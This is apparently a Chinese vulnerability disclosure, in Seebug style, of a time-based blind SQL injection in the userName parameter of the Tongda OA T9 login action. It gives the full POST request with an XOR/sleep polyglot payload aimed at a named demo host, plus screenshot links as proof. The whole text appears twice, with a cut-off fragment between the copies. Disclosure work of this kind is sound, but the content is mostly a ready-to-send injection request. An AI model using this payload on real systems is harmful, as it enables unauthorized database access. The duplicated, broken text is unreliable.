### 简要描述： 开心就好。 ### 详细说明： 官方站点：http://t9.tongda2000.com/ 通达OA T9智能管理平台标准版 官方演示站点：http://t9.go2oa.com:86/ URL：http://t9.go2oa.com:86/t9/t9/core/funcs/system/act/T9SystemAct/doLoginIn.act POST："KEY_DIGEST=&KEY_SN=&KEY_USER=&pwd=e&userName=if(now()%3dsysdate()%2csleep(0)%2c0)/*'XOR(if(now()%3dsysdate()%2csleep(0)%2c0))OR'%22XOR(if(now()%3dsysdate()%2csleep(0)%2c0))OR%22*/&_=" 在参数 userName上 [<img src="https://images.seebug.org/upload/201407/25142441809e181094fe242aac4a237e7fcf5802.jpg" alt="1.jpg" width="600" onerror="javascript:errimg(this);">](https://images.seebug.org/upload/201407/25142441809e181094fe242aac4a237e7fcf5802.jpg) [<img src="https://images.seebug.org/upload/201407/25142517e3249dad1a4f47bea432ebcddcc80022.jpg" alt="2.jpg" width="600" onerror="javascript:errimg(this);">](https://images.seebug.org/upload/201407/25142517e3249dad1a4f47bea432ebcddcc80022.jpg) ### 漏洞证明： [<img src="https://images.seebug.org/upload/201407/25142441809e181094fe242aac4a237e7fcf5802.jpg" alt="1.jpg"...
### 简要描述： 开心就好。 ### 详细说明： 官方站点：http://t9.tongda2000.com/ 通达OA T9智能管理平台标准版 官方演示站点：http://t9.go2oa.com:86/ URL：http://t9.go2oa.com:86/t9/t9/core/funcs/system/act/T9SystemAct/doLoginIn.act POST："KEY_DIGEST=&KEY_SN=&KEY_USER=&pwd=e&userName=if(now()%3dsysdate()%2csleep(0)%2c0)/*'XOR(if(now()%3dsysdate()%2csleep(0)%2c0))OR'%22XOR(if(now()%3dsysdate()%2csleep(0)%2c0))OR%22*/&_=" 在参数 userName上 [<img src="https://images.seebug.org/upload/201407/25142441809e181094fe242aac4a237e7fcf5802.jpg" alt="1.jpg" width="600" onerror="javascript:errimg(this);">](https://images.seebug.org/upload/201407/25142441809e181094fe242aac4a237e7fcf5802.jpg) [<img src="https://images.seebug.org/upload/201407/25142517e3249dad1a4f47bea432ebcddcc80022.jpg" alt="2.jpg" width="600" onerror="javascript:errimg(this);">](https://images.seebug.org/upload/201407/25142517e3249dad1a4f47bea432ebcddcc80022.jpg) ### 漏洞证明： [<img src="https://images.seebug.org/upload/201407/25142441809e181094fe242aac4a237e7fcf5802.jpg" alt="1.jpg" width="600" onerror="javascript:errimg(this);">](https://images.seebug.org/upload/201407/25142441809e181094fe242aac4a237e7fcf5802.jpg) [<img src="https://images.seebug.org/upload/201407/25142517e3249dad1a4f47bea432ebcddcc80022.jpg" alt="2.jpg" width="600" onerror="javascript:errimg(this);">](https://images.seebug.org/upload/201407/25142517e3249dad1a4f47bea432ebcddcc80022.jpg)
